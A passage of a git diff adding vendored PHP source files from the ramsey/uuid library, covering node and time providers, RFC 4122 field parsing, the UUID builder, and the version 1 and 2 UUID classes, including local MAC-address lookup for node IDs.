SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint + * @psalm-suppress RedundantConditionGivenDocblockType + */ + public function unserialize($serialized): void + { + /** @var array $data */ + $data = unserialize($serialized, [ + 'allowed_classes' => [ + Hexadecimal::class, + RandomNodeProvider::class, + StaticNodeProvider::class, + SystemNodeProvider::class, + ], + ]); + + $this->data = array_filter( + $data, + function ($unserialized): bool { + return $unserialized instanceof NodeProviderInterface; + } + ); + } +} diff --git a/vendor/ramsey/uuid/src/Provider/Node/RandomNodeProvider.php b/vendor/ramsey/uuid/src/Provider/Node/RandomNodeProvider.php new file mode 100644 index 000000000..76141361b --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Node/RandomNodeProvider.php @@ -0,0 +1,69 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Node; + +use Ramsey\Uuid\Exception\RandomSourceException; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Type\Hexadecimal; +use Throwable; + +use function bin2hex; +use function dechex; +use function hex2bin; +use function hexdec; +use function str_pad; +use function substr; + +use const STR_PAD_LEFT; + +/** + * RandomNodeProvider generates a random node ID + * + * @link http://tools.ietf.org/html/rfc4122#section-4.5 RFC 4122, § 4.5: Node IDs that Do Not Identify the Host + */ +class RandomNodeProvider implements NodeProviderInterface +{ + public function getNode(): Hexadecimal + { + try { + $nodeBytes = random_bytes(6); + } catch (Throwable $exception) { + throw new RandomSourceException( + $exception->getMessage(), + (int) $exception->getCode(), + $exception + ); + } + + // Split the node bytes for math on 32-bit systems. + $nodeMsb = substr($nodeBytes, 0, 3); + $nodeLsb = substr($nodeBytes, 3); + + // Set the multicast bit; see RFC 4122, section 4.5. + $nodeMsb = hex2bin( + str_pad( + dechex(hexdec(bin2hex($nodeMsb)) | 0x010000), + 6, + '0', + STR_PAD_LEFT + ) + ); + + // Recombine the node bytes. + $node = $nodeMsb . $nodeLsb; + + return new Hexadecimal(str_pad(bin2hex($node), 12, '0', STR_PAD_LEFT)); + } +} diff --git a/vendor/ramsey/uuid/src/Provider/Node/StaticNodeProvider.php b/vendor/ramsey/uuid/src/Provider/Node/StaticNodeProvider.php new file mode 100644 index 000000000..51f1b02ea --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Node/StaticNodeProvider.php @@ -0,0 +1,76 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Node; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Type\Hexadecimal; + +use function dechex; +use function hexdec; +use function str_pad; +use function substr; + +use const STR_PAD_LEFT; + +/** + * StaticNodeProvider provides a static node value with the multicast bit set + * + * @link http://tools.ietf.org/html/rfc4122#section-4.5 RFC 4122, § 4.5: Node IDs that Do Not Identify the Host + */ +class StaticNodeProvider implements NodeProviderInterface +{ + /** + * @var Hexadecimal + */ + private $node; + + /** + * @param Hexadecimal $node The static node value to use + */ + public function __construct(Hexadecimal $node) + { + if (strlen($node->toString()) > 12) { + throw new InvalidArgumentException( + 'Static node value cannot be greater than 12 hexadecimal characters' + ); + } + + $this->node = $this->setMulticastBit($node); + } + + public function getNode(): Hexadecimal + { + return $this->node; + } + + /** + * Set the multicast bit for the static node value + */ + private function setMulticastBit(Hexadecimal $node): Hexadecimal + { + $nodeHex = str_pad($node->toString(), 12, '0', STR_PAD_LEFT); + $firstOctet = substr($nodeHex, 0, 2); + + $firstOctet = str_pad( + dechex(hexdec($firstOctet) | 0x01), + 2, + '0', + STR_PAD_LEFT + ); + + return new Hexadecimal($firstOctet . substr($nodeHex, 2)); + } +} diff --git a/vendor/ramsey/uuid/src/Provider/Node/SystemNodeProvider.php b/vendor/ramsey/uuid/src/Provider/Node/SystemNodeProvider.php new file mode 100644 index 000000000..d512f22aa --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Node/SystemNodeProvider.php @@ -0,0 +1,173 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Node; + +use Ramsey\Uuid\Exception\NodeException; +use Ramsey\Uuid\Provider\NodeProviderInterface; +use Ramsey\Uuid\Type\Hexadecimal; + +use function array_filter; +use function array_map; +use function array_walk; +use function count; +use function ob_get_clean; +use function ob_start; +use function preg_match; +use function preg_match_all; +use function reset; +use function str_replace; +use function strpos; +use function strtolower; +use function strtoupper; +use function substr; + +use const GLOB_NOSORT; +use const PREG_PATTERN_ORDER; + +/** + * SystemNodeProvider retrieves the system node ID, if possible + * + * The system node ID, or host ID, is often the same as the MAC address for a + * network interface on the host. + */ +class SystemNodeProvider implements NodeProviderInterface +{ + /** + * Pattern to match nodes in ifconfig and ipconfig output. + */ + private const IFCONFIG_PATTERN = '/[^:]([0-9a-f]{2}([:-])[0-9a-f]{2}(\2[0-9a-f]{2}){4})[^:]/i'; + + /** + * Pattern to match nodes in sysfs stream output. + */ + private const SYSFS_PATTERN = '/^([0-9a-f]{2}:){5}[0-9a-f]{2}$/i'; + + public function getNode(): Hexadecimal + { + $node = $this->getNodeFromSystem(); + + if ($node === '') { + throw new NodeException( + 'Unable to fetch a node for this system' + ); + } + + return new Hexadecimal($node); + } + + /** + * Returns the system node, if it can find it + */ + protected function getNodeFromSystem(): string + { + static $node = null; + + if ($node !== null) { + return (string) $node; + } + + // First, try a Linux-specific approach. + $node = $this->getSysfs(); + + if ($node === '') { + // Search ifconfig output for MAC addresses & return the first one. + $node = $this->getIfconfig(); + } + + $node = str_replace([':', '-'], '', $node); + + return $node; + } + + /** + * Returns the network interface configuration for the system + * + * @codeCoverageIgnore + */ + protected function getIfconfig(): string + { + $disabledFunctions = strtolower((string) ini_get('disable_functions')); + + if (strpos($disabledFunctions, 'passthru') !== false) { + return ''; + } + + ob_start(); + switch (strtoupper(substr(constant('PHP_OS'), 0, 3))) { + case 'WIN': + passthru('ipconfig /all 2>&1'); + + break; + case 'DAR': + passthru('ifconfig 2>&1'); + + break; + case 'FRE': + passthru('netstat -i -f link 2>&1'); + + break; + case 'LIN': + default: + passthru('netstat -ie 2>&1'); + + break; + } + + $ifconfig = (string) ob_get_clean(); + + $node = ''; + if (preg_match_all(self::IFCONFIG_PATTERN, $ifconfig, $matches, PREG_PATTERN_ORDER)) { + $node = $matches[1][0] ?? ''; + } + + return $node; + } + + /** + * Returns MAC address from the first system interface via the sysfs interface + */ + protected function getSysfs(): string + { + $mac = ''; + + if (strtoupper(constant('PHP_OS')) === 'LINUX') { + $addressPaths = glob('/sys/class/net/*/address', GLOB_NOSORT); + + if ($addressPaths === false || count($addressPaths) === 0) { + return ''; + } + + $macs = []; + + array_walk($addressPaths, function (string $addressPath) use (&$macs): void { + if (is_readable($addressPath)) { + $macs[] = file_get_contents($addressPath); + } + }); + + $macs = array_map('trim', $macs); + + // Remove invalid entries. + $macs = array_filter($macs, function (string $address) { + return $address !== '00:00:00:00:00:00' + && preg_match(self::SYSFS_PATTERN, $address); + }); + + $mac = reset($macs); + } + + return (string) $mac; + } +} diff --git a/vendor/ramsey/uuid/src/Provider/NodeProviderInterface.php b/vendor/ramsey/uuid/src/Provider/NodeProviderInterface.php new file mode 100644 index 000000000..d536b4558 --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/NodeProviderInterface.php @@ -0,0 +1,30 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider; + +use Ramsey\Uuid\Type\Hexadecimal; + +/** + * A node provider retrieves or generates a node ID + */ +interface NodeProviderInterface +{ + /** + * Returns a node ID + * + * @return Hexadecimal The node ID as a hexadecimal string + */ + public function getNode(): Hexadecimal; +} diff --git a/vendor/ramsey/uuid/src/Provider/Time/FixedTimeProvider.php b/vendor/ramsey/uuid/src/Provider/Time/FixedTimeProvider.php new file mode 100644 index 000000000..b8bfd7215 --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Time/FixedTimeProvider.php @@ -0,0 +1,63 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Time; + +use Ramsey\Uuid\Provider\TimeProviderInterface; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Type\Time; + +/** + * FixedTimeProvider uses an known time to provide the time + * + * This provider allows the use of a previously-generated, or known, time + * when generating time-based UUIDs. + */ +class FixedTimeProvider implements TimeProviderInterface +{ + /** + * @var Time + */ + private $fixedTime; + + public function __construct(Time $time) + { + $this->fixedTime = $time; + } + + /** + * Sets the `usec` component of the time + * + * @param int|string|IntegerObject $value The `usec` value to set + */ + public function setUsec($value): void + { + $this->fixedTime = new Time($this->fixedTime->getSeconds(), $value); + } + + /** + * Sets the `sec` component of the time + * + * @param int|string|IntegerObject $value The `sec` value to set + */ + public function setSec($value): void + { + $this->fixedTime = new Time($value, $this->fixedTime->getMicroseconds()); + } + + public function getTime(): Time + { + return $this->fixedTime; + } +} diff --git a/vendor/ramsey/uuid/src/Provider/Time/SystemTimeProvider.php b/vendor/ramsey/uuid/src/Provider/Time/SystemTimeProvider.php new file mode 100644 index 000000000..3a1e09cb4 --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/Time/SystemTimeProvider.php @@ -0,0 +1,33 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider\Time; + +use Ramsey\Uuid\Provider\TimeProviderInterface; +use Ramsey\Uuid\Type\Time; + +use function gettimeofday; + +/** + * SystemTimeProvider retrieves the current time using built-in PHP functions + */ +class SystemTimeProvider implements TimeProviderInterface +{ + public function getTime(): Time + { + $time = gettimeofday(); + + return new Time($time['sec'], $time['usec']); + } +} diff --git a/vendor/ramsey/uuid/src/Provider/TimeProviderInterface.php b/vendor/ramsey/uuid/src/Provider/TimeProviderInterface.php new file mode 100644 index 000000000..43588e0bd --- /dev/null +++ b/vendor/ramsey/uuid/src/Provider/TimeProviderInterface.php @@ -0,0 +1,28 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Provider; + +use Ramsey\Uuid\Type\Time; + +/** + * A time provider retrieves the current time + */ +interface TimeProviderInterface +{ + /** + * Returns a time object + */ + public function getTime(): Time; +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/Fields.php b/vendor/ramsey/uuid/src/Rfc4122/Fields.php new file mode 100644 index 000000000..2ccc20bb6 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/Fields.php @@ -0,0 +1,194 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Fields\SerializableFieldsTrait; +use Ramsey\Uuid\Type\Hexadecimal; +use Ramsey\Uuid\Uuid; + +use function bin2hex; +use function dechex; +use function hexdec; +use function sprintf; +use function str_pad; +use function strlen; +use function substr; +use function unpack; + +use const STR_PAD_LEFT; + +/** + * RFC 4122 variant UUIDs are comprised of a set of named fields + * + * Internally, this class represents the fields together as a 16-byte binary + * string. + * + * @psalm-immutable + */ +final class Fields implements FieldsInterface +{ + use NilTrait; + use SerializableFieldsTrait; + use VariantTrait; + use VersionTrait; + + /** + * @var string + */ + private $bytes; + + /** + * @param string $bytes A 16-byte binary string representation of a UUID + * + * @throws InvalidArgumentException if the byte string is not exactly 16 bytes + * @throws InvalidArgumentException if the byte string does not represent an RFC 4122 UUID + * @throws InvalidArgumentException if the byte string does not contain a valid version + */ + public function __construct(string $bytes) + { + if (strlen($bytes) !== 16) { + throw new InvalidArgumentException( + 'The byte string must be 16 bytes long; ' + . 'received ' . strlen($bytes) . ' bytes' + ); + } + + $this->bytes = $bytes; + + if (!$this->isCorrectVariant()) { + throw new InvalidArgumentException( + 'The byte string received does not conform to the RFC 4122 variant' + ); + } + + if (!$this->isCorrectVersion()) { + throw new InvalidArgumentException( + 'The byte string received does not contain a valid RFC 4122 version' + ); + } + } + + public function getBytes(): string + { + return $this->bytes; + } + + public function getClockSeq(): Hexadecimal + { + $clockSeq = hexdec(bin2hex(substr($this->bytes, 8, 2))) & 0x3fff; + + return new Hexadecimal(str_pad(dechex($clockSeq), 4, '0', STR_PAD_LEFT)); + } + + public function getClockSeqHiAndReserved(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 8, 1))); + } + + public function getClockSeqLow(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 9, 1))); + } + + public function getNode(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 10))); + } + + public function getTimeHiAndVersion(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 6, 2))); + } + + public function getTimeLow(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 0, 4))); + } + + public function getTimeMid(): Hexadecimal + { + return new Hexadecimal(bin2hex(substr($this->bytes, 4, 2))); + } + + /** + * Returns the full 60-bit timestamp, without the version + * + * For version 2 UUIDs, the time_low field is the local identifier and + * should not be returned as part of the time. For this reason, we set the + * bottom 32 bits of the timestamp to 0's. As a result, there is some loss + * of fidelity of the timestamp, for version 2 UUIDs. The timestamp can be + * off by a range of 0 to 429.4967295 seconds (or 7 minutes, 9 seconds, and + * 496730 microseconds). + * + * For version 6 UUIDs, the timestamp order is reversed from the typical RFC + * 4122 order (the time bits are in the correct bit order, so that it is + * monotonically increasing). In returning the timestamp value, we put the + * bits in the order: time_low + time_mid + time_hi. + */ + public function getTimestamp(): Hexadecimal + { + switch ($this->getVersion()) { + case Uuid::UUID_TYPE_DCE_SECURITY: + $timestamp = sprintf( + '%03x%04s%08s', + hexdec($this->getTimeHiAndVersion()->toString()) & 0x0fff, + $this->getTimeMid()->toString(), + '' + ); + + break; + case Uuid::UUID_TYPE_PEABODY: + $timestamp = sprintf( + '%08s%04s%03x', + $this->getTimeLow()->toString(), + $this->getTimeMid()->toString(), + hexdec($this->getTimeHiAndVersion()->toString()) & 0x0fff + ); + + break; + default: + $timestamp = sprintf( + '%03x%04s%08s', + hexdec($this->getTimeHiAndVersion()->toString()) & 0x0fff, + $this->getTimeMid()->toString(), + $this->getTimeLow()->toString() + ); + } + + return new Hexadecimal($timestamp); + } + + public function getVersion(): ?int + { + if ($this->isNil()) { + return null; + } + + /** @var array $parts */ + $parts = unpack('n*', $this->bytes); + + return (int) $parts[4] >> 12; + } + + private function isCorrectVariant(): bool + { + if ($this->isNil()) { + return true; + } + + return $this->getVariant() === Uuid::RFC_4122; + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/FieldsInterface.php b/vendor/ramsey/uuid/src/Rfc4122/FieldsInterface.php new file mode 100644 index 000000000..a303525d6 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/FieldsInterface.php @@ -0,0 +1,126 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Fields\FieldsInterface as BaseFieldsInterface; +use Ramsey\Uuid\Type\Hexadecimal; + +/** + * RFC 4122 defines fields for a specific variant of UUID + * + * The fields of an RFC 4122 variant UUID are: + * + * * **time_low**: The low field of the timestamp, an unsigned 32-bit integer + * * **time_mid**: The middle field of the timestamp, an unsigned 16-bit integer + * * **time_hi_and_version**: The high field of the timestamp multiplexed with + * the version number, an unsigned 16-bit integer + * * **clock_seq_hi_and_reserved**: The high field of the clock sequence + * multiplexed with the variant, an unsigned 8-bit integer + * * **clock_seq_low**: The low field of the clock sequence, an unsigned + * 8-bit integer + * * **node**: The spatially unique node identifier, an unsigned 48-bit + * integer + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1 RFC 4122, § 4.1: Format + * + * @psalm-immutable + */ +interface FieldsInterface extends BaseFieldsInterface +{ + /** + * Returns the full 16-bit clock sequence, with the variant bits (two most + * significant bits) masked out + */ + public function getClockSeq(): Hexadecimal; + + /** + * Returns the high field of the clock sequence multiplexed with the variant + */ + public function getClockSeqHiAndReserved(): Hexadecimal; + + /** + * Returns the low field of the clock sequence + */ + public function getClockSeqLow(): Hexadecimal; + + /** + * Returns the node field + */ + public function getNode(): Hexadecimal; + + /** + * Returns the high field of the timestamp multiplexed with the version + */ + public function getTimeHiAndVersion(): Hexadecimal; + + /** + * Returns the low field of the timestamp + */ + public function getTimeLow(): Hexadecimal; + + /** + * Returns the middle field of the timestamp + */ + public function getTimeMid(): Hexadecimal; + + /** + * Returns the full 60-bit timestamp, without the version + */ + public function getTimestamp(): Hexadecimal; + + /** + * Returns the variant + * + * The variant number describes the layout of the UUID. The variant + * number has the following meaning: + * + * - 0 - Reserved for NCS backward compatibility + * - 2 - The RFC 4122 variant + * - 6 - Reserved, Microsoft Corporation backward compatibility + * - 7 - Reserved for future definition + * + * For RFC 4122 variant UUIDs, this value should always be the integer `2`. + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.1 RFC 4122, § 4.1.1: Variant + */ + public function getVariant(): int; + + /** + * Returns the version + * + * The version number describes how the UUID was generated and has the + * following meaning: + * + * 1. Time-based UUID + * 2. DCE security UUID + * 3. Name-based UUID hashed with MD5 + * 4. Randomly generated UUID + * 5. Name-based UUID hashed with SHA-1 + * + * This returns `null` if the UUID is not an RFC 4122 variant, since version + * is only meaningful for this variant. + * + * @link http://tools.ietf.org/html/rfc4122#section-4.1.3 RFC 4122, § 4.1.3: Version + */ + public function getVersion(): ?int; + + /** + * Returns true if these fields represent a nil UUID + * + * The nil UUID is special form of UUID that is specified to have all 128 + * bits set to zero. + */ + public function isNil(): bool; +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/NilTrait.php b/vendor/ramsey/uuid/src/Rfc4122/NilTrait.php new file mode 100644 index 000000000..9a9774d89 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/NilTrait.php @@ -0,0 +1,41 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +/** + * Provides common functionality for nil UUIDs + * + * The nil UUID is special form of UUID that is specified to have all 128 bits + * set to zero. + * + * @link https://tools.ietf.org/html/rfc4122#section-4.1.7 RFC 4122, § 4.1.7: Nil UUID + * + * @psalm-immutable + */ +trait NilTrait +{ + /** + * Returns the bytes that comprise the fields + */ + abstract public function getBytes(): string; + + /** + * Returns true if the byte string represents a nil UUID + */ + public function isNil(): bool + { + return $this->getBytes() === "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"; + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/NilUuid.php b/vendor/ramsey/uuid/src/Rfc4122/NilUuid.php new file mode 100644 index 000000000..c49b9945d --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/NilUuid.php @@ -0,0 +1,27 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Uuid; + +/** + * The nil UUID is special form of UUID that is specified to have all 128 bits + * set to zero + * + * @psalm-immutable + */ +final class NilUuid extends Uuid implements UuidInterface +{ +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/UuidBuilder.php b/vendor/ramsey/uuid/src/Rfc4122/UuidBuilder.php new file mode 100644 index 000000000..736931af2 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/UuidBuilder.php @@ -0,0 +1,111 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\Builder\UuidBuilderInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\UnableToBuildUuidException; +use Ramsey\Uuid\Exception\UnsupportedOperationException; +use Ramsey\Uuid\Nonstandard\UuidV6; +use Ramsey\Uuid\Rfc4122\UuidInterface as Rfc4122UuidInterface; +use Ramsey\Uuid\UuidInterface; +use Throwable; + +/** + * UuidBuilder builds instances of RFC 4122 UUIDs + * + * @psalm-immutable + */ +class UuidBuilder implements UuidBuilderInterface +{ + /** + * @var NumberConverterInterface + */ + private $numberConverter; + + /** + * @var TimeConverterInterface + */ + private $timeConverter; + + /** + * Constructs the DefaultUuidBuilder + * + * @param NumberConverterInterface $numberConverter The number converter to + * use when constructing the Uuid + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to Unix timestamps + */ + public function __construct( + NumberConverterInterface $numberConverter, + TimeConverterInterface $timeConverter + ) { + $this->numberConverter = $numberConverter; + $this->timeConverter = $timeConverter; + } + + /** + * Builds and returns a Uuid + * + * @param CodecInterface $codec The codec to use for building this Uuid instance + * @param string $bytes The byte string from which to construct a UUID + * + * @return Rfc4122UuidInterface UuidBuilder returns instances of Rfc4122UuidInterface + * + * @psalm-pure + */ + public function build(CodecInterface $codec, string $bytes): UuidInterface + { + try { + $fields = $this->buildFields($bytes); + + if ($fields->isNil()) { + return new NilUuid($fields, $this->numberConverter, $codec, $this->timeConverter); + } + + switch ($fields->getVersion()) { + case 1: + return new UuidV1($fields, $this->numberConverter, $codec, $this->timeConverter); + case 2: + return new UuidV2($fields, $this->numberConverter, $codec, $this->timeConverter); + case 3: + return new UuidV3($fields, $this->numberConverter, $codec, $this->timeConverter); + case 4: + return new UuidV4($fields, $this->numberConverter, $codec, $this->timeConverter); + case 5: + return new UuidV5($fields, $this->numberConverter, $codec, $this->timeConverter); + case 6: + return new UuidV6($fields, $this->numberConverter, $codec, $this->timeConverter); + } + + throw new UnsupportedOperationException( + 'The UUID version in the given fields is not supported ' + . 'by this UUID builder' + ); + } catch (Throwable $e) { + throw new UnableToBuildUuidException($e->getMessage(), (int) $e->getCode(), $e); + } + } + + /** + * Proxy method to allow injecting a mock, for testing + */ + protected function buildFields(string $bytes): FieldsInterface + { + return new Fields($bytes); + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/UuidInterface.php b/vendor/ramsey/uuid/src/Rfc4122/UuidInterface.php new file mode 100644 index 000000000..3e4d9faee --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/UuidInterface.php @@ -0,0 +1,36 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use Ramsey\Uuid\UuidInterface as BaseUuidInterface; + +/** + * Also known as a Leach-Salz variant UUID, an RFC 4122 variant UUID is a + * universally unique identifier defined by RFC 4122 + * + * @link https://tools.ietf.org/html/rfc4122 RFC 4122 + * + * @psalm-immutable + */ +interface UuidInterface extends BaseUuidInterface +{ + /** + * Returns the string standard representation of the UUID as a URN + * + * @link http://en.wikipedia.org/wiki/Uniform_Resource_Name Uniform Resource Name + * @link https://tools.ietf.org/html/rfc4122#section-3 RFC 4122, § 3: Namespace Registration Template + */ + public function getUrn(): string; +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/UuidV1.php b/vendor/ramsey/uuid/src/Rfc4122/UuidV1.php new file mode 100644 index 000000000..764e42f84 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/UuidV1.php @@ -0,0 +1,92 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use DateTimeImmutable; +use DateTimeInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\DateTimeException; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Uuid; +use Throwable; + +use function str_pad; + +use const STR_PAD_LEFT; + +/** + * Time-based, or version 1, UUIDs include timestamp, clock sequence, and node + * values that are combined into a 128-bit unsigned integer + * + * @psalm-immutable + */ +final class UuidV1 extends Uuid implements UuidInterface +{ + /** + * Creates a version 1 (time-based) UUID + * + * @param Rfc4122FieldsInterface $fields The fields from which to construct a UUID + * @param NumberConverterInterface $numberConverter The number converter to use + * for converting hex values to/from integers + * @param CodecInterface $codec The codec to use when encoding or decoding + * UUID strings + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to unix timestamps + */ + public function __construct( + Rfc4122FieldsInterface $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + if ($fields->getVersion() !== Uuid::UUID_TYPE_TIME) { + throw new InvalidArgumentException( + 'Fields used to create a UuidV1 must represent a ' + . 'version 1 (time-based) UUID' + ); + } + + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } + + /** + * Returns a DateTimeInterface object representing the timestamp associated + * with the UUID + * + * The timestamp value is only meaningful in a time-based UUID, which + * has version type 1. + * + * @return DateTimeImmutable A PHP DateTimeImmutable instance representing + * the timestamp of a version 1 UUID + */ + public function getDateTime(): DateTimeInterface + { + $time = $this->timeConverter->convertTime($this->fields->getTimestamp()); + + try { + return new DateTimeImmutable( + '@' + . $time->getSeconds()->toString() + . '.' + . str_pad($time->getMicroseconds()->toString(), 6, '0', STR_PAD_LEFT) + ); + } catch (Throwable $e) { + throw new DateTimeException($e->getMessage(), (int) $e->getCode(), $e); + } + } +} diff --git a/vendor/ramsey/uuid/src/Rfc4122/UuidV2.php b/vendor/ramsey/uuid/src/Rfc4122/UuidV2.php new file mode 100644 index 000000000..74906f050 --- /dev/null +++ b/vendor/ramsey/uuid/src/Rfc4122/UuidV2.php @@ -0,0 +1,143 @@ + + * @license http://opensource.org/licenses/MIT MIT + */ + +declare(strict_types=1); + +namespace Ramsey\Uuid\Rfc4122; + +use DateTimeImmutable; +use DateTimeInterface; +use Ramsey\Uuid\Codec\CodecInterface; +use Ramsey\Uuid\Converter\NumberConverterInterface; +use Ramsey\Uuid\Converter\TimeConverterInterface; +use Ramsey\Uuid\Exception\DateTimeException; +use Ramsey\Uuid\Exception\InvalidArgumentException; +use Ramsey\Uuid\Rfc4122\FieldsInterface as Rfc4122FieldsInterface; +use Ramsey\Uuid\Type\Integer as IntegerObject; +use Ramsey\Uuid\Uuid; +use Throwable; + +use function hexdec; +use function str_pad; + +use const STR_PAD_LEFT; + +/** + * DCE Security version, or version 2, UUIDs include local domain identifier, + * local ID for the specified domain, and node values that are combined into a + * 128-bit unsigned integer + * + * @link https://publications.opengroup.org/c311 DCE 1.1: Authentication and Security Services + * @link https://publications.opengroup.org/c706 DCE 1.1: Remote Procedure Call + * @link https://pubs.opengroup.org/onlinepubs/9696989899/chap5.htm#tagcjh_08_02_01_01 DCE 1.1: Auth & Sec, §5.2.1.1 + * @link https://pubs.opengroup.org/onlinepubs/9696989899/chap11.htm#tagcjh_14_05_01_01 DCE 1.1: Auth & Sec, §11.5.1.1 + * @link https://pubs.opengroup.org/onlinepubs/9629399/apdxa.htm DCE 1.1: RPC, Appendix A + * @link https://github.com/google/uuid Go package for UUIDs (includes DCE implementation) + * + * @psalm-immutable + */ +final class UuidV2 extends Uuid implements UuidInterface +{ + /** + * Creates a version 2 (DCE Security) UUID + * + * @param Rfc4122FieldsInterface $fields The fields from which to construct a UUID + * @param NumberConverterInterface $numberConverter The number converter to use + * for converting hex values to/from integers + * @param CodecInterface $codec The codec to use when encoding or decoding + * UUID strings + * @param TimeConverterInterface $timeConverter The time converter to use + * for converting timestamps extracted from a UUID to unix timestamps + */ + public function __construct( + Rfc4122FieldsInterface $fields, + NumberConverterInterface $numberConverter, + CodecInterface $codec, + TimeConverterInterface $timeConverter + ) { + if ($fields->getVersion() !== Uuid::UUID_TYPE_DCE_SECURITY) { + throw new InvalidArgumentException( + 'Fields used to create a UuidV2 must represent a ' + . 'version 2 (DCE Security) UUID' + ); + } + + parent::__construct($fields, $numberConverter, $codec, $timeConverter); + } + + /** + * Returns a DateTimeInterface object representing the timestamp associated + * with the UUID + * + * It is important to note that a version 2 UUID suffers from some loss of + * fidelity of the timestamp, due to replacing the time_low field with the + * local identifier. When constructing the timestamp value for date + * purposes, we replace the local identifier bits with zeros. As a result, + * the timestamp can be off by a range of 0 to 429.4967295 seconds (or 7 + * minutes, 9 seconds, and 496730 microseconds). + * + * Astute observers might note this value directly corresponds to 2^32 - 1, + * or 0xffffffff. The local identifier is 32-bits, and we have set each of + * these bits to 0, so the maximum range of timestamp drift is 0x00000000 + * to 0xffffffff (counted in 100-nanosecond intervals). + * + * @return DateTimeImmutable A PHP DateTimeImmutable instance representing + * the timestamp of a version 2 UUID + */ + public function getDateTime(): DateTimeInterface + { + $time = $this->timeConverter->convertTime($this->fields->getTimestamp()); + + try { + return new DateTimeImmutable( + '@' + . $time->getSeconds()->toString() + . '.' + . str_pad($time->getMicroseconds()->toString(), 6, '0', STR_PAD_LEFT) + ); + } catch (Throwable $e) { + throw new DateTimeException($e->getMessage(), (int) $e->getCode(), $e); + } + } + + /** + * Returns the local domain used to create this version 2 UUID + */ + public function getLocalDomain(): int + { + /** @var Rfc4122FieldsInterface $fields */ + $fields = $this->getFields(); + + return (int) hexdec($fields->getClockSeqLow()->toString()); + } + + /** + * Returns the string name of the local domain + */ + public function getLocalDomainName(): string + { + return Uuid::DCE_DOMAIN_NAMES[$this->getLocalDomain()]; + } + + /** + * Returns the local identifier for the domain used to create this version 2 UUID + */ + public function getLocalIdentifier(): IntegerObject + { + /** @var Rfc4122FieldsInterface $fields */ + $fields = $this->getFields(); + + return new 